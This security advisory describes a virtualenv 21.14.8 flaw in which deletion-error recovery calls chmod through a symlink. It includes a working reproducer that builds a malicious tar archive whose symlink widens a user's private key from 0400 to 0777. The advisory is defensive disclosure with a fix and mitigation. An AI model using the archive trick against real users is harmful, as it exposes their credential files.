virtualenv: Deletion recovery can change a symlink target's mode

Summary

The deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows symlinks. On an eligible unlink failure this can change permissions outside the destination.

Anthropic's OSS Scanner reported this as ANT-2026-UK90QC27 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Permission recovery after a filesystem deletion error.

Attacker-controlled input

A deletion must fail on a symbolic-link entry and enter the permission-recovery branch. The invoking user must have permission to change the target mode. This is conditional error handling, not the normal successful unlink path.

Affected code

The relevant 21.14.8 source is in safe_delete().

Mechanism

safe_delete() asks shutil.rmtree() to retry a failed removal after adding owner-write permission. Its error handler calls os.lstat(path) for mode bits but os.chmod(path, ...) to apply them. For a symlink, lstat reads the link's mode while chmod follows the link. A link inside a read-only directory can therefore cause the target's mode to become 0777 before the retry fails. The target must be owned by the invoking user and initially not writable by that user; root does not reach this failure path.

Reproduction and evidence

The scanner packed a project containing a mode-0555 venv/bin/python/ directory and a symlink inside it pointing to the user's mode-0400 keys/deploy.pem. An unprivileged user unpacked it and ran both plain virtualenv venv and virtualenv --clear venv. Both commands exited with PermissionError naming the directory inside venv, while the key's mode changed from 0400 to 0777. A control archive with a writable directory completed normally and left the key at 0400. The read-only mode survives tar or cp -a; a normal git clone does not preserve this setup.

This changes permissions; it does not read the target or complete the virtualenv operation. Another account can use the widened mode only if it can traverse the target's parent directories. The scanner dates the active error handler to #3222, first released in 21.7.5. PR #3427 avoids POSIX mode changes on deletion failure and handles Windows read-only entries without following reparse points.

Attack sequence

sequenceDiagram
    participant A as Prepared read-only venv tree
    participant V as safe_delete error handler
    participant L as Symlink in venv
    participant K as User's 0400 key
    A->>V: virtualenv venv or --clear venv
    V->>L: unlink fails in 0555 directory
    V->>L: lstat returns link mode 0777
    V->>L: chmod follows symlink
    L->>K: target mode becomes 0777
    V-->>A: retry fails with PermissionError
    Note over K: Other accounts can use new mode if parent paths are traversable

Reproducer files

The following files are from the scanner report for ANT-2026-UK90QC27. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import os
import stat
import subprocess
import sys
import tempfile
from pathlib import Path

NOBODY = 65534

work = Path(tempfile.mkdtemp(prefix="repro-safe-delete-"))
os.chmod(work, 0o755)
os.chown(work, NOBODY, NOBODY)

# the attacker's project archive (venv/bin/python read-only), and the same archive with that folder writable
make_archive = [sys.executable, "/tmp/repro.d/make_project_archive.py"]
subprocess.run([*make_archive, work / "read-only.tar", "555"], check=True)
subprocess.run([*make_archive, work / "writable.tar", "755"], check=True)
subprocess.run(["tar", "-tvf", work / "read-only.tar"], check=True)

# from here on an ordinary user: root's unlink never fails, so safe_delete's error handler would never run
os.setgroups([])
os.setgid(NOBODY)
os.setuid(NOBODY)
os.umask(0o022)


def unpack_next_to_key_and_run_virtualenv(label, home_name, archive_name, *options):
    home = work / home_name
    archive = work / archive_name
    key = home / "keys" / "deploy.pem"
    key.parent.mkdir(parents=True)
    key.write_text("PRIVATE KEY\n")
    key.chmod(0o400)
    subprocess.run(["tar", "-xf", archive], cwd=home, check=True)

    mode_before = stat.S_IMODE(key.stat().st_mode)
    command = ["virtualenv", "--no-periodic-update", "-q", *options, "venv"]
    # HOME is where virtualenv keeps its app-data; nobody's own, /nonexistent, cannot hold it
    result = subprocess.run(
        command,
        cwd=home / "proj",
        env={**os.environ, "HOME": str(home)},
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        text=True,
    )
    mode_after = stat.S_IMODE(key.stat().st_mode)

    print(f"{label} {archive_name}, `{' '.join(command)}`: exit {result.returncode} {result.stdout.strip()}")
    print(f"{label} {key} mode {mode_before:#o} -> {mode_after:#o}")
    return mode_before, mode_after


control = unpack_next_to_key_and_run_virtualenv("CONTROL ", "home-control", "writable.tar")
default = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-default", "read-only.tar")
clear = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-clear", "read-only.tar", "--clear")

# check: the key lives outside the destination; virtualenv has no business changing its mode
print("BUG" if control == (0o400, 0o400) and default == (0o400, 0o777) and clear == (0o400, 0o777) else "OK")

repro.d/make_project_archive.py

#!/usr/bin/env python3
import sys
import tarfile

archive_path = sys.argv[1]
python_folder_mode = int(sys.argv[2], 8)

with tarfile.open(archive_path, "w") as archive:
    python_folder = tarfile.TarInfo("proj/venv/bin/python")
    python_folder.type = tarfile.DIRTYPE
    python_folder.mode = python_folder_mode  # without the write bit, unlinking an entry inside it fails with EACCES
    archive.addfile(python_folder)

    link = tarfile.TarInfo("proj/venv/bin/python/entry")
    link.type = tarfile.SYMTYPE
    link.linkname = "../../../../keys/deploy.pem"  # the victim's key, beside the unpacked proj/
    archive.addfile(link)

Impact

Permission recovery after a failed deletion can change an unrelated target's access bits. This requires the deletion failure to occur on a link and the invoking user to have permission to change the target mode.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix leaves POSIX modes unchanged when deletion fails. Windows read-only recovery uses a native handle that opens the entry itself without following reparse points and denies replacement until the attribute update finishes. It rejects reparse points and clears only the read-only attribute. Concurrent replacement of parent directories remains outside this protection.

Fix: PR #3427.

Known mitigation

Avoid recursively clearing destinations populated by another account. If cleanup fails, inspect the failing entry before retrying with broader privileges.

Affected release

• The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-UK90QC27.